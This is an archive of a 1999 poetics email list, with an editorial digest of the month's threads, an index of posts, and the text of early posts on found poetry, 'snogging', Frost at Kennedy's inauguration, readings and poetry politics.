Tenderness of another kind animated the month's most purely delightful thread, which began when someone asked what, exactly, the British mean by snogging. The aging Britons of the list rose as one to testify. Douglas Oliver answered, *"as a kneejerk ageing heterosexual Brit,"* that the word belonged to the 1950s and had meant, in those innocent days, nothing more athletic than heavy kissing; David Bromige and Jim Swift concurred, and a small philology of mid-century courtship assembled itself, half etymology and half fond memoir.

The list's twin appetites — for the found and for the archival — ran on beside it. The found-poetry thread carried over from May, Harvey Jordan recalling a sixties collection built entirely from *"sewing machine instructions, recipes,"* and others adding Berrigan's borrowings and Reznikoff's documentary lines; meanwhile Dodie Bellamy, preparing a course on epistolary fiction, asked for help extending it to *"The First Person and The Document,"* and the shelves opened once more. It was a month of poets happily doing one another's homework.

The most moving reply, though, had come back in the Frost thread, and it was not about Frost at all. Maria Damon remembered her mother — a Danish immigrant — so stirred by the sight of an old poet reading at the inauguration of a young president that she went out and bought his Collected Works, a book, Damon wrote, that *"we still have in a prominent place."* That is the answer, I think, that June kept circling toward, under all its wordplay and bibliography: that poetry's

public life is finally a private one, measured not in platforms but in the books a mother carries home and cannot bring herself to shelve away. The guns had stopped; the poems were still on the mantel.

— Kristen M. Fabians

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Writers, names mentioned, and concepts. Every number links to its message. 292 in all.

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68. Kevin Magee — Re: WE WANT ALL GUNS TAKEN OUT OF IRELAND
69. dbkk — Friday, June 4, Re: Reading The New American Poetry
70. George Bowering — Re: Motion
71. Susan Wheeler — Italian renaissance p.
72. Daniel Kane — Lisa Jarnot on WriteNet
73. Jerry McGuire — Deep South Writers Conference
74. Brian Stefans — The Naif and the Bluebells
75. Jerry McGuire — Deep South Writers Conference and Contest
76. Lowther,John — An Ask for Reports
77. Pierre Joris — Re: Motion
78. Lowther,John — two things
79. Aviva Vogel — Non-Meaningful Levels of Language - A Query
80. komninos zervos — Re: Friday, June 4, Re: Reading The New American Poetry
81. Jordan Davis — eating the wrong thing
82. Waber — also known as anti-rhyme

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83. Mark Melnicove — Re: Frost at Kennedy's inauguration
84. Ron Silliman — Uh, er, ah
85. Douglas Oliver — Re: Larkin
86. Stephen Ellis — Re: the flux of context
87. Rachel Loden — OED "snogging"; The Last Campaign
88. Judy Roitman — Re: symbolic snogging
89. Mark Melnicove — Re: Frost at Kennedy's inauguration
90. Poetry Project — Monday reading
91. David Baptiste Chirot — Re: found poetry
92. Cassandra Laity — Book Announcement

93. Catherine Daly — Call for Submissions
94. kathylou — Seeing addresses
95. Jordan Davis — fewer mind
96. Alan Sondheim — Bodei
97. Patrick F. Durgin — Re: the flip of context
98. Gerald Schwartz — Re: Frost at Kennedy's inauguration

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99. Patrick F. Durgin — Support your little magazines!
100. Alan Sondheim — Stared Stiff
101. rebecca wolff — united we stand, etc.

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102. Pattie McCarthy — publication announcement : BeautifulSwimmer Press : Swensen & Biglieri
103. Jeremy Solomons — Re: Motion
104. Wendy Kramer — boston alternativepoetry conference
105. Wendy Kramer — boston alternative
106. pete spence — Re: hannah weiner's WRITTEN IN/THE ZERO ONE
107. Alan Sondheim — description of ongoing work (apologies for cross-posting)

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108. gquasha — Rick Fields
109. Ron Silliman — Pounding Pound
110. Stephen Ellis — Re: symbolic snogging
111. Stephen Ellis — Re: Non-Meaningful Levels of Language - A Query
112. Charles Bernstein — new PMC
113. Linda Russo — CFP Poetics/Production, NEMLA 2000
114. Kyle Conner — Highwire Reading
115. Chris Stroffolino — QUESTION (ALAN GOLDING)
116. Chris Stroffolino — Berman Time Out Review
117. Tisa Bryant — Re: Seeing addresses
118. Christopher W. Alexander — prevallet forward
119. Patrick F. Durgin — New work at Kenning website
120. david bromige — Obit in Motion
121. Kevin Magee — Re: Reznikoff

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122. Lawrence Upton. — Re: found poetry
123. Lowther,John — Dina H. spelling test & Mother's Day sketch
124. Bob Perelman — Re: Frost & found
125. Robin Tremblay-McGaw — Call for Submissions--Class & Poetics
126. Poetics List Administration — Moore and query / Balestrieri
127. Jeffrey Jullich — Dina H. spelling test & Mother's Day sketch -Reply
128. Daniel Kane — Hear Lisa Jarnot read "Emperor Wu"
129. Mark Melnicove — Re: Frost & found
130. Mark Melnicove — Re: Reznikoff
131. Dodie Bellamy — catsitting in SF
132. Stephen Ellis — Re: the flip of context
133. Stephen Ellis — Re: fewer mind
134. Alan Sondheim — Budi: Fragment

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135. Dodie Bellamy — SF summer prose workshop
136. Kevin Magee — Re: OBIT IN MOTION
137. L. MacMahon and T.R. Healy — boundary 2 Apologies for Cross Posting
138. christopher t funkhouser hss fac/staff — new NEWARK REVIEW: _ALLAH MEAN EVERYTHING! Thus Sp...

139. Ron Silliman — Stein review
140. Alan C Golding — Total Syntax, and thanks
141. Billy Little — Re: Reznikoff
142. Poetics List — call for work - read.me / Sullivan
143. Alan C Golding — Job Opening
144. Rodrigo Toscano — KRUPSKAYA PRESS
145. pete spence — Re: Boris Vian & Serge Gainsbourg reading/music/video event
146. Kevin Magee — Re: BARAKA'S ALLAH / June 12 Event Announcement
147. derek beaulieu / house press — new: mclennan's "the wiser" and whitehead's "Kokopelli"

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148. Brian Stefans — The Naif and the Bluebells: full version live
149. Lowther,John — HEADLINES
150. Pritchett,Patrick — query
151. Brian Stefans — Wang Ping's e-mail
152. Ron Starr — diastext
153. Jacques Debrot — Re: Contact Info: Johanna Drucker
154. Lawrence Upton. — (no subject)

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155. Patrick F. Durgin — Scott Keeney
156. Alan Sondheim — THEFT ON PURLMOO BECAUSE #1 IS NOT UNIQUE
157. Katie Degentesh — THURSDAY, JUNE 17
158. Billy Little — Re: SERIAL DIAGRAM
159. rebecca wolff — Re: back issues of Fence
160. Maryanne Del Gigante — (no subject)
161. KENT JOHNSON — Anthology re-issue
162. Alan Sondheim — Re: your mail
163. Poetry Project — Fwd: Sandbox #7 - PROTEST
164. Poetry Project — workshop reading
165. Taylor Brady — Re: diastext
166. David Highsmith — reply to Upton, RE : power outages
167. Tisa Bryant — Garrett Caples contact info
168. Poetics List — New Rain Taxi features Ashbery & Silko Interviews / Sullivan
169. Poetics List — current list stats
170. Dana Lustig — Re: power outtages/searches & so forth
171. Alan Sondheim — Mouthing Lives, Whew!
172. Lawrence Upton. — Power outages
173. miekal and — wa wha wawa woo you like keto k'to

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174. Julie Johnson — new book on Japanese avant-garde...
175. Maria L. Zavialov — Re: current list stats

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176. Kathy Lou Schultz — Will Alexander
177. Kevin Magee — Re: BACKCHANNEL REQUEST
178. Alan Sondheim — Shifters: Bodee

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179. Alan Sondheim — Julu, Broadcasting
180. Leonard Brink — Inscape
181. Hoa Nguyen — Please tell your friends!
182. Dale Smith — Skanky Poss for 5 bucks...
183. kathylou — Boys are allowed
184. Poetics List — women's writing / dubravka
185. rebecca wolff — party reminding

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186. Maria Damon — Re: current list stats
187. hofermr — Interlope magazine/ Summi Kaipa
188. Poetics List — stats clarification
189. A H Bramhall — sideways from K Magee's Backchannel Request
190. Poetics List — Welcome Message
191. Jason Nelson — weaving
192. jen hofer — query & note

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193. aerialedge — New @ Bridge Street, Benjamin Sel Writings, Boundary 2, Howe, Mayer &&&
194. maz881 — Re: sideways_from_K_Magee's_Backchannel_Request
195. R Democracy — Re: urgent! Cheap sublet with kitties!
196. Catherine Daly — Perihelion
197. Peter Ganick — special offer to Poetics listmembers
198. Peter Ganick — POTEPOETZINE / POETPOETTEXT
199. Elizabeth Treadwell — Lynne Tillman and Joel Kuszai
200. Alan Sondheim — TONGUE

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201. David Baratier — The First Annual Transcontinental Poetry Contest
202. David Baratier — E-mail's needed
203. kathylou — Saturday in San Francisco

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204. Taylor Brady — (no subject)
205. Hannah J Sassaman — C R O S S C O N N E C T V O L U M E 4 I S S U E 3
206. Poetics List Administration — poetics delay . . .
207. Poetics List Administration — Hello sweet muse... / krupoetry
208. Poetics List Administration — format caveat
209. Poetics List Administration — Fire and Terrible Work / jesse glass
210. Stephen Vincent — Re: Eleanor Antin Exhibit
211. Pritchett,Patrick — Naropa Summer Readings
212. A H Bramhall — French Village Life
213. Maria Damon — Re: Job listing

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214. Kevin Magee — Poster inspired by AH Bramhall
215. Katie Degentesh — Paul LaFarge
216. Robin Tremblay-McGaw — email addresses
217. Maria L. Zavialov — (no subject)

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218. Karen Kelley — Lost Email Address (CHAX) & Apt for Rent

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219. Chuck Stein — ainu dreams posting
220. A H Bramhall — For The Sake Of Variety
221. Poetics List — VEC / jesse glass
222. Poetics List — East Timor forward / Joe Brennan
223. Poetics List — VEC erratum / jesse glass
224. Ana Doina — Re: 42nd st. lions
225. Michael Magee — Re: C R O S S C O N N E C T V O L U M E 4 I S S U E 3
226. Kimmelman, Burt — (no subject)

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227. Alan Sondheim — Virtual Languor
228. Jessica Pompeii — quandry

229. Stephen Cope — Beyond the Page
230. travmar03 — Fw: Last Reading of The Year
231. travmar03 — Fw: Last Reading of The Year
232. Kimmelman, Burt — Poetry New York 11
233. Matthew J Chambers — (no subject)
234. Alan Sondheim — Jennifer Climbs
235. Katie Degentesh — 9x9 News
236. Wendy Kramer — uncompromising, but corrugated, position
237. Elizabeth Treadwell — C. Alexander & J. Debrot
238. Todd Baron /*/ ReMap Readers — Re: quandry
239. Maria Damon — Re: quandry

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240. Lawrence Upton. — (no subject)
241. A H Bramhall — Re: Quandary
242. Elizabeth Treadwell — fiction writing exercises
243. Tisa Bryant — Calling Cecilia Vicuna
244. Kevin Magee — RE (FOR) RACHEL DEMOCRACY

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245. Chris Stroffolino — Re: quandry
246. Adeena Karasick — Message from Internet
247. Tom Beckett — limited supply of bromige diffs.
248. Dodie Bellamy — epistle
249. Michael Neff — test
250. Alan Sondheim — gratitude toward authors

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251. Robert Archambeau — SAMIZDAT #3/Free Offer
252. Kenneth Goldsmith — ___ U B U W E B: N E W R E S O U R C E S :: J U N E 9 9 ___
253. Poetics List — DEAD MEN TALKING / Brink
254. Taylor Brady — Re: epistle
255. MAXINE CHERNOFF — NAW 17 and Movie showing this week

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256. George Bowering — Re: epistle

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257. Paul Naylor — epistle
258. Jacques Debrot — Re: epistle
259. MAXINE CHERNOFF — Re: NAW 17 and Movie showing this week
260. Catherine Daly — Re: epistle
261. Charles Bernstein — Poetics Program Announcements
262. Mark DuCharme — another shameless self promo
263. Steven Clay — 2,500+ poetry books, pamphlets and magazines
264. Patrick F. Durgin — Lusk

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265. Bradford J Senning — Moving to NYC
266. Billy Little — Vancouver report
267. Stephen Vincent — Philip Whalen
268. Kyle Conner — SHAMELESS PROMOTION
269. kathylou — a+bend press
270. kathylou — Re: epistle
271. Elizabeth Treadwell — Garrett Caples
272. Tony Green — Re: epistle
273. Alan Sondheim — A Terrific Tale with a Save at the End!
274. Steven Marks — Re: epistle

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275. vincet — Re: Philip Whalen
276. John Tranter — Whalen review in Jacket # 7
277. Ron Silliman — Whalen
278. Camille Martin — funky butt
279. john coletti — Berrigan Sightings
280. Lowther,John — burnt epistles
281. George Bowering — Re: burnt epistles
282. David Kellogg — Would the real Tom Clark please stand up?
283. A H Bramhall — re(ad) Grenier
284. Dale Smith — Re: Whalen
285. Kevin Magee — Re: gratitude toward authors
286. Thomas Bell — Re: Philip Whalen

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287. Leonard Brink — Announcement, Windhover #3
288. Bob Grumman — Re: Philip Whalen
289. Lawrence Upton. — (no subject)
290. Brian Stefans — Edmund Berrigan, Barbara Guest
291. Elizabeth Fagin — Leroy Chapbook Series
292. Poetry Project — summer announcements

1. schuchat
Re: workshops with Chris Stroffolino
Thu 27 May 1999

I am willing to be taught to write poetry, but it will cost you a lot more than $50 per hour to do so.

Chris Stroffolino wrote:
>
> Chris Stroffolino is presently available to work with students privately,
> either poetry, prose fiction or playwrights, for $49 per session. Each
> session will be 2-3 hours. If interested, please call [redacted]...
>
> On Wed, 26 May 1999, Poetry Project wrote:
>
> > Another public announcement:
> >
> > Larry Fagin is presently available to work with students privately,
> > either poetry or prose fiction writers, for $50 per session. Each session
> > will be 1-2 hours. If interested, please call [redacted].
> >

↑ Index

2. Stephen Vincent
Re: name your enemy/was "on Notley"
Thu 27 May 1999

Dear (is it?) Linda Russo: I have somehow been confused with some other Stephen.
I am Stephen Vincent. Anyway I don't think I was the intended postee for your post.
Albeit I usually like or am intrigued by your public posts.

↑ Index

3. Marc Couroux
Watten - Total Syntax
Thu 27 May 1999

Dear Poetics List,

Does anyone know how I can get a copy of Barrett Watten's TOTAL SYNTAX, long out-of-print and impossible to find?

Thanks

Marc

[redacted]

↑ Index

4. Jessica Pompeii
found assholes
Thu 27 May 1999

The fresh strawberries had to grow. Driving, parking, hoofing, except there was no parking. NO PARKING signs everywhere. So I drove around in circles, just for strawberries. Not the market kind, but the farmer kind. One alley then two, of more NO PARKING - PRIVATE PROPERTY. Just 30 feet from the strawberries I found a space in a NO PARKING / TENANT ONLY parking area. A space obviously that would not be blocking anyone, nestled near an outer chain, well in back of a big white truck.

Two elderly folks were watching me from the brick building, daring to tow me. So I waved toward the strawberries to my invisible crippled mother. Motioning to her to come here, that I can't get any closer, sorry. I mimed it all. But she was too lame to make it over to the car without assistance. So I hobbled out of the car, my MS flaring up. Bought my strawberries, and 3 fucking tomatoes at the adjacent booth and was back in minutes.

The old gal had exited her picture window and was waiting for me. She carried a menacing looking black button and shook it at me. "You were just about to be towed." She had a thug with her, with red hair. He kept yelling. "Can't you read?" And read to me each of the signs.

I put up my hands as if to say halt. I said, "I am a woman of peace." The lady went away but the red head wanted a fight. I said, "Go back to jail." You can tell these things. I rolled up my window. As he threatened my tires, hissing, "I voted for NRA."

So I made a note of his truck, or what I decided was his truck, and drove away shaking. Thinking, I should go back there, I know where they live.

↑ Index

5. ken|n|ing
Re: context judo
Thu 27 May 1999

Jordan Whose claims are these? I'm particularly interested, as I notice many others around me are these days, in functionalist redefinitions of such otherwise impossible to think terms as "poetry" and "political" and

"efficacy." And so my mean of what mean you means me this: let's not question the agency of a tradition without proposals for its reconfiguration in the wagering. Or, the agency of a medium (another troubled term). Or, the agency of linguistics . . . ad absurdly yrs Patrick

k e n n i n g_____ a newsletter of contemporary poetry poetics & nonfiction writing _____http://www.avalon.net/~kenning 418 BROWN STREET #10 IOWA CITY IOWA 52245 USA

On Thu, 27 May 1999, Jordan Davis wrote:

> *What mean you by what mean you.*
>
> *Claiming that people aren't involved in politics or do not take a political stance, isn't that just a code for 'why haven't you taken power?' or 'Were you assuming that power was going to be given to you at an appropriate time?' or 'Don't you know what power is and what will happen to you if you don't have it?'*
>
> *Claiming that people who claim to be writing poetry aren't really writing poetry, isn't that a code for 'no exemptions from withholding'?*
>
> *Jordan*

↑ Index

6. Kevin Magee
Re: BITCHCRAFT DE NOS JOURS
Thu 27 May 1999

G R O I T / G R I O T

[written & thought of
by LuTonya & Nikki]

I.

In the end the horse won and swallowed him.

Her voice in the Winter Wind hanging there
like icicles in the Air.

He turned reluctantly from the white walls
he had built.

He looked at the sun seen the sun setting.

Unlimited fun time with his friend.

II.

L u T o n y a :
I love the words from
the Artist formerly known
as Prince. Its titled the
Most Beautiful Girl in
the World he's talking
about how women are
considered beautiful not
for just the Outside But
for the wonderful qualities
that they posses and the
many things that they
do and it might not get
recognized or they
might not get praised
my favorite Line goes

III.

N i k k i :
a personal favorite of mine is Shrimp Alfredo.
First I put about 1 tablespoon of cooking oil
in a skillet and sautee 2lbs cooked-tailess shrimp.
Add green peppers, red peppers, onions,
and mushrooms. When that's cooked enough
I put in 3 containers of Digiorno Alfredo Sauce
and stir until warm. Season it with pepper,
cayenne pepper, garlic powder, and seasoning salt.
Boil fetticine noodles, drain them, and mix
with sauce mixture. Serve with White Zinfandel.
Umnmnmnmnmnmnmnmnmnmnmnmnmnmn.

IV.

L u T o n y a :
EXPLAINING MONEY TO A ALIEN.
Money is a type of trading tool. It
comes in paper form and metal form.
Each paper has a different number on it
and the higher the number the more it
is worth. We can see something we like
and if we want it, we have to use money
to get it. You can get just about everything

you want if you have enough of the paper
with the really high numbers on it.

Rap Music is what you would call music
that expresses how you feel about your
situations in growing up in your surroundings
in a poetic senses with verses that rhyme.
It is listened to by groups of people who
crosses all types of economical, races,
and age lines. It is not all about profanity
or violence and it does not just degrade
women. It sometimes help to break down
barriers that have been build up.

V.

N i k k i :
The differences between Oprah & Jerry
are of the most obvious. Oprah is more in touch
with her audience and the people on her panel.
She holds hands with her guests. She has a big heart
and you can tell Jerry on the other hand, laughs
at his guests and doesn't seem to show sympathy.
He urges his guests to get heated. Montel gave
the best description of his show "It's like a train
wreck, it's terrible, but you want to watch it."
I prefer Jerry. I guess I like "train wrecks."

VI.

B o b b i e J o :
when its rainy I love to sleep so today
I'm very sleepy I can't wait for school
to end so I can go home and make a nice
cup of coffee get erik his bottle and of
course miranda gets her hot chocolate
and stack up the pillows we'll probably
have to watch mighty Joe first because
that's her favorite movie and then we
can Watch titanic my favorite movie
and we can just relax all day I love
spending that time with my Babies

VII.

S h a y l a :
This song by Faith Evans
called "I never knew" the
thing that really gets me is
its true. She's the widow
of the slain Biggie Smalls.

I can tell by the way he act.
I love to kiss his lips. They
are so soft. He's my teddy
bear baby.

[Found lines/feelings from the 2nd Interim
Portfolios of E103 at the Academy of Court
Reporting, 5-27-99, viz. Benjamin's Sleeping
Beauties i.e., "The Fairy Tale of History."]

↑ Index

7. Jack Ruttan
FWD: Canadian Poetry Association News
Thu 27 May 1999

> *Wayne Ray <[redacted]> wrote:*
>
> *Greetings:*
>
> *If you are not already receiving the Weekly News from the Canadian Poetry Association (http://www.mirror.org/cpa) then I take this time to invite you to join the CPA MailList to receive literary news, information, contests and other announcements.*

Actually, for people wanting to join the list who can't click on the URL, please contact Wayne Ray at the above address for details.

Jack Ruttan, Montreal

--

http://www.axess.com/users/jackr

↑ Index

8. dan raphael
This war or the next
Fri 28 May 1999

Wrote this poem a couple days ago; seeing bob holman's poem posted today (5/27)

dan raphael

Since Tibet isnt free, maybe we can buy it

What would the chinese take in trade?
San Francisco?
missile secrets?
the colonels secret recipe?
destroying all charlie chan movies?

As the chosen people of the money god
we Americans should be able to swing this deal, to force this deal

but this god likes to keep its sons competing.
competition one of the cornerstones of this religion—
germany, japan , and now the young convert china
proving its worth by destroying the last remaining rival,
one of the few religions uncorrupted by money, still connected to its place

the monks will need years to exorcise all the demons

↑ Index

9. Tenney Nathanson

POG event this Saturday: 3 poets

Fri 28 May 1999

REMINDER

[Joel Kuszai has had to cancel his appearance]
but:

POG Announces

A Reading by 3 Poets:
Joel Kuszai
Bill Marsh
Steve Carll

Saturday, May 29, 7pm
Dinnerware Contemporary Art Gallery
135 E. Congress Street, Tucson

Joel Kuszai was born in Michigan, schooled at Reed and SUNY-Buffalo. He is the editor of Meow Press, which has published over 60 chapbooks since 1991. He is currently rewriting The Wizard of Oz "with some help from Marx and others." Some of his earlier work can be found at:
http://writing.upenn.edu/epc/presses/meow/ephemera.html

Bill Marsh lives in San Diego where he teaches writing and other multimedia arts. His work has appeared in a few on and off-line journals like Tinfish, the germ, Web Conjunctions, Witz, and Zine(n) New Media. His chapbook Making Flutes was published by Potes & Poets Press in 1998 and he has another one forthcoming from Wild Honey. Bill also edits PaperBrainPress featuring chapbooks and other paper and digital productions. More information on his work and his press can be found at http://bmarsh.dtai.com/

Steve Carll was born in Olean, New York. MA in Poetics from New College of CA in San Francisco. Currently living in Honolulu, HI. Edited Antenym. Chapbooks published: Sincerity Loops (Bathysphere), trace a moment's closure for clues (Logodaedalus), brushstrokes (Black Fire White Fire). Recent journal appearances: Tinfish, lyric&, Rhizome. Pending journal appearances: Chain, Art Access, Bivouac. Other work currently available on the websites of Deluxe Rubber Chicken #2 and Black Fire White Fire.

The reading is sponsored POG, Chax Press, and the Writing Works Program of UA Extended University;
it is in part funded by grants from the Arizona Commision on the Arts and the Tucson/Pima Arts Council.
A contribution to POG is suggested at the door, but no one will be turned away.
Please call Chax Press at [redacted] for information.

mailto:[redacted]
mailto:[redacted]
http://www.u.arizona.edu/~nathanso

↑ Index

10. david bromige

snogging, wass iss diss snokking?

Fri 28 May 1999

Rachel, listmates, I believe snogging is british c. 1950 for heavy petting. Any other aging britspeak persons on this list to bear this out or correct? David

btw, Rachel, thanks for posting that Wilson review of Motion. I cant think when i've seen character assassination masquerading as lit crit to that degree, here in the usa. I've been trying to remember whether Motion was wearing mascara when i met him in toronto ten years ago. It must have been subtly applied if so. Could it be a convenient slander? (Not, of course, that one has anything against men in mascara). I found him worth a read.

David

↑ Index

11. Brian Stefans
Found Texts
Fri 28 May 1999

I hope I'm not being self-promoting by pointing interested parties to an essay I wrote on computer poetics, hypertext and borrowed (stolen, mashed, etc.) texts which appears at the ubu.com site, not in the "essays" section but in "contemporary." The essay itself is in the footones to a poem called "Stops and Rebels" which was generated by a C++ program I wrote -- it really just "assembled" the poem in a quasi-random way as it's not very bright, but the texts themselves were mostly "found." Anyway, here's Url:

http://www.ubu.com/feature_stefans.html

Also, McCaffery and nichols Rational Geomancy has lots of stuff in there regarding material textuality though I don't remember off-hand if there is anything specifially about "found" text, but the basic idea is about the "book as machine" and assembalge so I'm sure it's worth looking at (I've only just skimmed my yet-new copy). There are loads of images, cartoons, etc.

Lastly, Veronica Forrest-Thomson's Poetic Artifice uses a "cut-up" technique on a newspaper in one of the key paragraphs early in the book, in such a way that makes "found texts" instrumental to the whole theory, hence worth looking at in this light if you can find one.

Brian

↑ Index

12. Mark Melnicove
Frost at Kennedy's inauguration
Fri 28 May 1999

I'm writing an essay on Robert Frost's reading/recital at JFK's inauguration and I'm looking for contemporary (i.e. 1961) responses to this event by other poets. I've started to comb letters and diaries as collected in books (Sandburg, Ginsberg, Jarrell, etc.), but haven't turned up much yet. Anyone with any sources, leads, etc. please b.c. And, if you were there (in person, or via TV) and wrote something at the time, or have some recollections 38 years down the road you'd care to share, I'd love that, too. Mark Melnicove

↑ Index

13. Jena Osman
incorporating vs. finding
Fri 28 May 1999

Thanks to everyone for their excellent suggestions in regards to found poetry. I suppose I should have been a bit more specific in my request. I'm not interested so much in poems that "incorporate" found texts, as in poems that are "found" inside of existing texts. Somebody mentioned Tom Phillips' _Humament_, which is an excellent example of what I mean. I also just remembered that Rasula and McCaffery's _Imagining Language_ has a great section ("Lost and Found in Translation") relating to these kinds of procedures. This section includes excerpts from Phillips, Cage, Johnson's _Radi Os_, and lots of other good stuff. Meanwhile, further suggestions are always welcome. Thanks, Jena

↑ Index

14. Lowther,John
Re: drinks with)ohnLowther
Sat 29 May 1999

John Lowther (ever watchful for a joke to flog) is more than willing to add his services to those of Chris Stroffolino and Larry Fagin and if you will buy the drinks he might sit with you for as much as two hours or as little as 10 minutes to talk about your writing - assuming you and he enjoy this in some sense chances are he'll buy a round and begin blathering about his own writing. If in tha Atlanta area call [redacted].

> *-----Original Message-----*
> *From: Chris Stroffolino [SMTP:[redacted]]*
> *Sent: Thursday, May 27, 1999 12:05 AM*
> *To: [redacted]*
> *Subject: Re: workshops with Chris Stroffolino*
>
> *Chris Stroffolino is presently available to work with students privately, either poetry, prose fiction or playwrights, for $49 per session. Each session will be 2-3 hours. If interested, please call [redacted]...*
>
> *On Wed, 26 May 1999, Poetry Project wrote:*
>
> *Another public announcement:*
>
> *Larry Fagin is presently available to work with students privately, either poetry or prose fiction writers, for $50 per session. Each session*
> *will be 1-2 hours. If interested, please call [redacted].*

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15. Stephen Ellis

Re: name your enemy/was

Sat 29 May 1999

Conception of body by mind makes body "a Roman sewer" away frm wch the mind, so having "conceived" first, rather than first having "been there", etc., remains a sort of "safe house", tho one that houses just what, exactly, is all I wanted to "mean"/ask w/ that analogy. It's perhaps possible that "some of the people on this list" are in fact themselves "enemies of poetry" despite, etc. that they SAY they are and (seemingly) ARE otherwise. I doubt

that "conservative think tank money" is recommending one sort of poetry over another, tho the push from that quarter wld be to repress almost ANY sort of literary (not to say "real life") explorations into what for a better term I'll call the Dantean "dark wood". So it isn't so much even money any more that's "the institution", but far more all our subjective habits gathered like runes toward a single objective representation, ie., in many cases one's singular ability to get, have and hold whatever portion of the world can be thus (immediately) grasped in terms of one's own still-subjective "sincerity", which one then has as what one has at hand, in hand, pretty tightly

grasped. So, it's more analogous situation viz conservative dollars, rather than directly causative w/in the world of poetry, wch hopefully wld have more to do with how the world is defined, what those definitions, limits etc. TELL (us) abt our place IN it, than with Barnes & Noble distribution problems. I guess I'm just suggesting that

poets in particular, and Americans in general, aren't very political in either any short or long view, and that that's not political enough to plow over, under and up again the whole sod of the subjective that assumes value in poesis, but seems unable to objectify it except materially, the book, reading tour, etc., ie., "publish me: I'm liberated." Wch COULD be true enough, tho of course there seems also considerable reason to doubt. SE

> *From: Linda Russo <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: name your enemy/was "on Notley"*
> *Date: Thu, 27 May 1999 00:19:01 -0400*
>
> *Dear Stephen,*
>
> *I agree for the most part (don't know abt the human body/roman sewer) that pluralism is the enemy of opposition (from whence "political" poetry*

springs) and
'love' is but another sort of pluralism, generous as it is it lets one
forget his or
her enemies (Spicer said know your enemies) . . . and yet I bet plenty of
people
on this list could name one or two enemies of poetry (some institution say
.
.. .
a finger has been pointed at Barnes & Noble in the past . . .). Confused
about
"funding by conservative think-tank money" . . . ? People don't want to
bite
the hand that feeds, you say? elaboration? examples? thanks.

-----Original Message-----
From: Stephen Ellis <[redacted]>
To: [redacted] <[redacted]>
Date: Friday, May 21, 1999 6:57 PM
Subject: Re: NOTLEY on

LR -
What you're calling politics is, as you say, "less visible" as an
activity
because it's being funded off the boards, out of public view, by
conservative think-tank money. We live in an increasingly monadic
society,
regardless we may prefer to characterize it as "plural". Our culture is
god-culture in disguise, excused by a sort of virtual inter-connectedness
that in fact is non-existent (just try talking to those who say this just
ain't so ...); freedom of choice is mostly at this point just another
eschatological hope, and you know where they've gotten us in the past,
the
past itself, of course, being a highly sheltered and perpetually
slaughtering swarm, the human body lately also, an open Roman sewer
certainty, guaranteed by the increasingly tightened "rule of law" much on
the airwaves in recent months.

Tough times ahead's a simplistically broken after-dinner fortune cookie;
questions abt it remain in the present, ie, what to do, how to act / live
NOW
SE

From: Linda Russo <[redacted]>
Reply-To: UB Poetics discussion group
<[redacted]>
To: [redacted]

Subject: Re: NOTLEY on "the youth"....
Date: Thu, 20 May 1999 13:58:14 -0400

Hi Chris & others listening in. I've been thinking about your query re Alice Notley's comments in the COMBO interview ("They're these people between about 23 and 36 . . . They're not very political, and I wish they were more political").

You go on to equate the 'personal' in 'the personal is political' with 'love,' but I think you're mincing here, collapsing the 'personal' and 'love' and therefore excluding a crucial issue of the very politics that might be at stake. In making a distinction I think I can talk to your query.

The political, and I think this holds for Alice, has always to do with the polis, not in the way that love might, or even in the sense of the potentially volatile issue of who we might choose to love publically, or how. The 'personal,' to be 'political,' has to engage with and be effected by the polis. In the feminist formulation, 'the personal is political' meant primarily that the private, the domestic, the 'female' experience too was _as_ political as the public experience, and it wasn't until the 'personal' experience of women (subjection, misogyny, etc.) were shown to _be_ political, to have everything to do with the workings of the polis, that the women's movement as a _political_ movement, could make any headway.

So the personal has as much to do with anger as it does with love, both overwhelmingly present in Alice's work. So I think when she points out the lack of politicalness, she is addressing the lack of attempting to change 'the way things are' in the polis and in poetry via how one experience power on a 'personal' level. This is evident for example her essay "Epic and Women Poets," which points out that there is something wrong with the polis, with the way it tells itself stories which exclude the possibility of women's stories, and that this has to change. She realizes these ideas in Desamere and Alette. Perhaps that's what it means to be political: to think

> *(essay) about a problem and try to solve it (poem). Writing essays, editorial matter, and prefaces has always been a part of Alice's poetic practice. I think she might say that editing _Chicago_ while she was pregnant was a personal _and_ political choice. Maybe _just_ writing poetry, in her mind, isn't political enough? But maybe the choice to write*
> *poetry is always political, but the politics (now) aren't as visible as they*
> *were say, in the 70s, when she was in/against the context of the women's movement, and those political issues were heightened.*
>
> *you write that you're*
> *interested in looking for other ways to frame this question,*
> *because i respect and admire notley's poetry,*
> *and her desire for a return perhaps to a more blatant concern*
> *with politics on a content level,*
> *a moving beyond coterie politics,*
>
> *and perhaps bringing in this context frames it helpfully, I hope?*
>
> _____
> *Get Free Email and Do More On The Web. Visit http://www.msn.com*

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

↑ Index

16. Billy Little
submit you dog
Sat 29 May 1999

Pay t riot River
>
>jack and jacky went
>way out backy
>to fetch a pale of blood.
>drink your blood Benjamin
>drink your blood Alice
>drink your blood Nathaniel
>drink your blood Emily
>drink your blood Henry David
>drink your blood George

>drink your blood Edna
>drinky it's blood Lucy
>drink your blood Ralph Waldo
>drink your blood Walt
>drink your blood Harriet
>drink you blood Babe
>drink your blonde blood Norma
>drink proud Yankee blood Jolting Joe
>dream your blood Martin
>wink your blood Mae
>dew drink your blood Rose
>drink your blood Betty
>drink !Mel drink !Blood,
>drink your blood Blanche
>drink-schmink blood Woody
>drink your blood Veronica
>Denzel drink power blood
>drink your blood Millie
>drink yo blood Eddie
>blood in yo serial
>blood on your toast
>front page blood
>sports page blood
>entertainment blood
>contaminated blood
>big dividends / blood bank
>bargains on bloodstains
>floods of blood
>bathtubs of blood
>fermenting w/lemons
>26 laps butterfly
>atop the coagulated blood tsunami
>forty story wall of blood
>blood on the bandwidth
>blood on the bridge
>blood filled railway cars
>tanks full of blood
>boatloads of blonde blood
>and blonde body bags and rock bottom bombs
>blue blue sky blue blue blood
>broadcast blood
>blood in the air

>blood on the wind
>blood on your breath
>blood underwhere
>blood blood brewski
>blood in yo hood
>blood in your i
>drink your blood Shirley
>Drink your blood Minnie
>drink your blood DonaLD
>drink your blood Fats
>drink your blood Sammy
>drink your blood Wayne
>drink the bathtub dry children
>drink your blood
>
>Igor likes Eyegore likes
>Clinton-Gore likes
>whatsisnameGore
>Tip Her Canoe and Gore2BeeOne
>
>
>blood blood blood
>all you need is blood
>miles and miles and miles of blood
>
>chairman Meow
>bleeding
>charm yow
>a thousand brooms
>sweeping with the sleeper
>bloody flowers
>sleeping with the beeper
